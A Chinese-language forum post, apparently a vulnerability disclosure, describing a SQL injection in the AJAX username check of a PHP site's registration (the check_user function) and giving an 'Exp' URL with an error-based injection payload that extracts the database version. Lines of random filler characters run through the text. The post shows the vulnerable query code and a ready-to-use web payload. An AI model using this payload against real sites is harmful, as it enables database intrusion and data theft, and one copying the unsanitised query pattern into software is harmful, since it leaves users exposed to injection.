在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。$ D) Z# {& Y; g1 m% t* l
/ r0 Q' @ X0 F) L$ i# Z
7 D7 H Z5 q: g( p# I7 N. x, @3 k( l4 G, E2 {4 I/ d
* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
) L* H7 ?$ w/ D8 X- Q6 S- b3 r0 }- Q
* ]# {/ [6 r5 Y1 I* Z5 ?% i5 j
" h( D7 @% U8 R1 O- ]8 i0 Q# ^Exp:
7 @! U$ h3 D" J- i |+ M* K1 f
* x/ V* c3 |. f5 P3 [9 M) l, s
: W3 f) |9 Y( y3 r+ }/ E
. r* [) e5 r, {http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
0 H( _1 ~. u# J
. \# j' S! D; U, i |